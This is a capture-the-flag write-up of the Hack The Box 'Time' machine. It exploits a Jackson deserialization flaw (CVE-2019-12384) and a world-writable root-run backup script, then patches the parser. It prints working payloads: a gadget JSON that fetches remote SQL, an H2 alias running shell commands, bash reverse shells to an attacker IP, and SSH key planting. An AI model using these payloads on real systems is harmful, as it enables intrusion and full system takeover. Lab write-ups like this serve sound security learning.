Hack The Box — Time Writeup

Fahmi J
7 min readMay 9, 2021

Time is a medium difficulty Linux machine that features a web application which provides JSON beautifier and validator services. Testing some invalid inputs exposes an unhandled error message, indicating the app is backed with Jackson library. Searching for the error message on Google leads to a research blog about deserialization on Jackson. After reproducing the steps from the blog, I’m able to gain a foothold on the box. Enumerating the files discovers a timer script that is executed by the root user every 10 seconds. The script is world-writable, allowing me to inject a malicious code and obtain a root shell.

At the end of the write-up, I’ll patch the parser code to prevent the deserialization attack.

All my HTB raw notes are available at my GitHub.

Reconnaissance

Nmap

nmap discovers two open ports: SSH on port 22, and a HTTP web server on port 80.

Enumeration

TCP 80 — Website

Visiting port 80 shows a website called “Online JSON Beautifier & Validator”.

Clicking on the drop down menu, it provides two options: “Beautify” and “Validate (beta!)”.

— :: Testing Inputs

I submitted {"test": "iamf"} to the input box and clicked the “Process” button. As expected, the beautify option just a JSON beautifier like jq.

I put the same input on “Validate (beta!)”, but it returns the following error.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

I found this site while searching for the error message on Google. It turned out it wanted an array input, so I copied the sample input from that site and pasted it to the validator.

[ 
"org.baeldung.jackson.inheritance.Truck",
{ "make": "Isuzu", "model": "NQR","payloadCapacity": 7500.0 }
]

When the input is submitted, a different error message shows up.

And that’s because it probably can’t find org.baeldung.jackson.inheritance.Truck since I made it up.

— ::Finding Vulnerability

I might be able to inject the “org.baeldung.jackson.inheritance.Truck” with a java gadget class for deserialization attack, and after searching around about deserialization topics on Jackson, I found this two blog posts about Jackson RCE:

However, the post on Doyensec’s blog is newer (2019 vs 2017), so I dig into that blog. The researcher on that blog uses ch.qos.logback.core.db.DriverManagerConnectionSource as his gadget class, and leveraging the alias feature from the H2 database to execute arbitrary code. This research is classified as CVE-2019-12384.

Below is the example payload used.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]

Foothold

Exploiting Jackson CVE-2019–12384

I’ll use the research from Doyensec’s blog above as my reference. First, I’ll create a copy of the inject.sql file that is used in by the researcher.

inject.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > /dev/tcp/10.10.14.19/9000')

Then, I’ll setup a Python web server to host the SQL file and an nc listener to catch the request.

python3 -m http.server 80

Now I’ll use the following JSON line and submit it to the validator.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.19/inject.sql'"}]

Within a few seconds, my Python web server receives a request for inject.sql, and my listener captures the output of the id command.

Knowing this, I can weaponize the inject.sql file to send myself a shell, and then perform the same procedure as above.

Now with the following inject.sql,

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.19/9000 0>&1')

I can obtain an interactive shell.

Upgrade to SSH

With current access, I can put my public key to the authorized_keys file.

Now I can login as pericles with my SSH private key.

Privilege Escalation

Internal Enumeration

pericles is the only user on this box.

While searching files owned by pericles, I spotted a script called timer_backup.sh.

The script is backing up the website files in /var/www/html to the root home directory.

Interestingly, that script is writable by others.

I searched other file related to the script, and found out there is a timer owned by root.

pericles@time:~$ find / -type f -name "timer_backup*" -ls 2>/dev/null

timer_backup.timer requires timer_backup.service,

and what timer_backup.service doing is it restarts web_backup.service.

web_backup.service executes the timer_backup.sh script which is owned by pericles.

Exploiting timer_backup.sh

With writable access, I can put a bash reverse shell in timer_backup.sh, and then setup a nc listener.

pericles@time:~$ echo 'bash -i >& /dev/tcp/10.10.14.19/9002 0>&1' >> /usr/bin/timer_backup.sh

Within a few seconds, I have a root shell on my listener, but the problem is that the shell somehow exited by itself.

So I repeated the steps, but this time, I immediately injected my public key to the root’s authorized_keys file.

After that, I can login as root via SSH.

Extras

In this extras, I’ll take a look into the vulnerable code that allows me to gain a remote code execution, and then I’ll try to patch it.

CVE-2019–12384: Causes

According to this site, in order to successfully exploit a Jackson deserialization vulnerability several conditions must be met.

The first condition is fulfilled by the index.php file (/var/www/html/index.php). I have control on the user input.

The second condition is fulfilled by the parser itself (/opt/json_project/parse.rb). It uses "Default typing".

The third condition is fulfilled by logback-core-1.3.0-alpha5.jar as the gadget class and h2–1.4.199.jar for the RCE capability. According to this blog, the H2 database alias feature can be abused and the researcher of CVE-2019–12384 abuses it to embed Java codes.

CVE-2019–12384: Mitigation

After I make sure there is no one currently exploiting the box, I tried to update the Jackson library from v2.9.8 to v2.11 and also applied the new feature to mitigate the deserialization attack on the source code. Here is the updated version of parse.rb:

I also write a dirty script to patch it as well as to revert the patch, so I can perform a quick test. The script is supposed to be executed from Time where the updated parser and the newer version of Jackson are hosted from my machine.

I tried to exploit the validator again by reproducing the same steps as in the Foothold section, but this time my reverse shell didn’t connect back. I checked the validator on the browser, and now it returned this message.

Validation failed: WARNING: An illegal reflective access operation has occurred

Well, it is working, isn’t it?

Originally published at: https://fahmifj.github.io/writeups/hackthebox/htb-times/

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.